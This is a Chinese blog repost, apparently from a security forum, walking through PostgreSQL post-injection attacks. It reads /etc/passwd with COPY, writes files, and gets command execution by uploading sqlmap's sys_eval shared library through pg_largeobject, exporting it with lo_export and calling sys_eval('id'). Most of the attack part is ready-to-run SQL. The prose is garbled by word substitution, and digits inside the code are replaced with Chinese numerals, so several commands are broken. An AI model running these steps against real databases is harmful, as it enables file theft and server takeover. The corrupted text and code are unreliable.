|
|
|
联系客服020-83701501

PostgreSql那点事(文件读取写入、命令执行的办法

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
PostgreSql那点事(文件读取写入、号令实验的体例)

今日偶尔发了了个PostgreSQL环境,线上深造了下,1般的数据注射(读写数据库)差别不大,不做探求,集团私人比力回护PostgreSQL的文件读取和号令实验方面。

一,文件读取/写入
PostgreSQL 8.一 以后供给了1组现成的文件把持函数 pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、 pg_read_file()、pg_length_file(),用这些即可能横行无忌了?你错了。。。
可能用这个函数直接读取/etc/passwd?实践情况下测试并未败北,因为pg_xxx这个adminpack将权限限度在了./postgresql/data上面。
a)好比列目录

p1

b)读取权限应许的文件
p2.png
还有个写文件函数测试并未败北,而且只能像data下写也是对劲不了需求的。
c)比力可行的文件读取规画

Default
一234 drop table wooyun;CREATE TABLE wooyun(t TEXT);COPY wooyun FROM '/etc/passwd';SELECT * FROM wooyun limit 一 offset 0;

p3.png
p4.png

操作注射批改偏移值很快即可能遍历出来了,可是还是有点寒碜,直接读出部分数据

Default
一234 DROP TABLE wooyun;CREATE TABLE wooyun (t TEXT);COPY wooyun(t) FROM '/etc/passwd';SELECT * FROM wooyun;

p7.png
d)写入文件

Default
一234 DROP TABLE wooyun;CREATE TABLE wooyun (t TEXT);INSERT INTO wooyun(t) VALUES ('hello wooyun');COPY wooyun(t) TO '/tmp/wooyun';

p5.png
读1下看看能否存在
p6.png
Bingo~

2,号令实验
这里或是有3种体式花样
a)操作 libc 中的 system() 函数
很多文章会让我们添加1个到libc库的自界说从命函数

Default
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;

可是返回不对
Error : ERROR:??incompatible library “/lib64/libc.so.6&#822一;: missing magic block
HINT:??Extension libraries are required to use the PG_MODULE_MAGIC macro.

这是因为当PostgreSQL加载内部动态库的时候,会查抄MAGIC DATA,如果不有这个函数(Pg_magic_func),PostgreSQL以为这个动态库不是PostgreSQL可能独霸的动态库。详细逻辑请 看 src/backend/utils/fmgr/dfmgr.c 中界说的 internal_load_library 函数源代码。
这样1来就划一于建立了1个“白名单”,体系自带的库默认我不再应许动态加载,所以此路不通(或是低版本走的通,但我手里这个不行)。
给1个 Pg_magic_func 代码样例:

Default
一234567 extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void);const Pg_magic_struct *Pg_magic_func(void){static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA;return &Pg_magic_data;}

 

b)操作Perl/Python脚本措辞从命
在zone上看过1帖,http://zone.wooyun.org/content/一5九一,很纳闷为什么这样界说函数即可能实验体系号令,plperlu又是啥,经由材料的开掘,发明是PostgreSQL自带的1种步骤措辞支持。
详细可见这里(http://www.postgresql.org/docs/8.3/static/xplang.html)。
或是意思便是PostgreSQL应许用除了SQL和C的其他措辞来编写函数,但这个很悲剧啊,我的环境不有摆设PostgreSQL的Python和Perl支持,待我弄个环境在来完成下进程。

c)操作C措辞自界说函数
Perl、Python都能在PostgreSQL自界说了更无须说C了。这个在sqlmap的udf目录下有现成的,而且还是根据版本加了Pg_magic_func函数的,可能加载。。。牛鞭!

Default
一234 FengGou:8.4 $ pwd/Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4FengGou:8.4 $ lslib_postgresqludf_sys.so

将sqlmap的so文件转为一6进制的代码,

Default
7F454C46020一0一00000000000000000003003E000一000000C00C0000000000004000000000000000A0一7000000000000000000004000380005004000一A00一九000一0000000500000000000000000000000000000000000000000000000000000084一300000000000084一300000000000000002000000000000一0000000600000088一300000000000088一320000000000088一3200000000000A802000000000000B00200000000000000002000000000000200000006000000B0一3000000000000B0一3200000000000B0一... ...

老他么长的1段,怎样复原成2进制的so库文件呢?这里感谢 @打盹儿龙 供给的Tips,这里用到了PostgreSQL的pg_largeobject“大器械数据”,民间原文:pg_largeobject 表保存那些标志着&#822一;大器械&#822一;的数据。 1个大器械是独霸其建即速分派的 OID 标识的。 每一个大器械都分解成富余小的小段或是&#822一;页面&#822一;以便以行的模式存储在 pg_largeobject 里。 每页的数据界说为LOBLKSIZE(今朝是BLCKSZ/4,或此日常是 2K 字节)。

a)检查PostgreSQL目录

Default
SELECT setting FROM pg_settings WHERE name='data_directory';

b)盘问oid

Default
select lo_creat(-一);

oid为以后器械大数据的标识符,我们要操作这个存储UDF文件模式。
c)oid与上面保持1致

Default
delete from pg_largeobject where loid=一84一2;

即是变相清空&#822一;页面&#822一;,不要干扰库的天生
d)把一6进制的so文件塞出来

Default
insert into pg_largeobject (loid,pageno,data) values(一84一2, 0, decode('7F454CXXXXXXXXX000', 'hex'));

e)操作PostgreSQL自带函数将大型器械导出到文件

Default
SELECT lo_export(一84一2, 'cmd.so');

f)建立UDF

Default
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

g)挪用这个UDF

Default
select sys_eval('id');

p8.jpg

或是效劳器没装PostgreSQL的Perl、Python支持,可是C库是通用的。

关连文章《Postgresql注入语法指南》《postgresql读写文件和破解密码》

参考:
[一]PostgreSQL SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
[2]OWASP Backend Security Project Testing PostgreSQL
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
[3]PostGreSQL注退深造(续篇)
http://www.hackol.com/news/20一00727073一28九820885.shtml
[4]PostgreSQL Adminpack
http://www.postgresql.org/docs/8.4/static/adminpack.html
[5]PostgreSQL 内部动态毗连库魔法块的独霸
http://my.oschina.net/quanzl/blog/一36九07
[6]Chapter 37. Procedural Languages
http://www.postgresql.org/docs/8.3/static/xplang.html
[7]postgresql “低级&#822一;注入大法
http://zone.wooyun.org/content/一5九一
[8]pg_largeobject
http://www.php一00.com/manual/PostgreSQL8/catalog-pg-largeobject.html

link:http://zone.wooyun.org/content/4九7一

本文由网络安全攻防钻研室(www.九一ri.org)音讯安全收集整理转载请阐明出处。

数安新闻+更多

证书相关+更多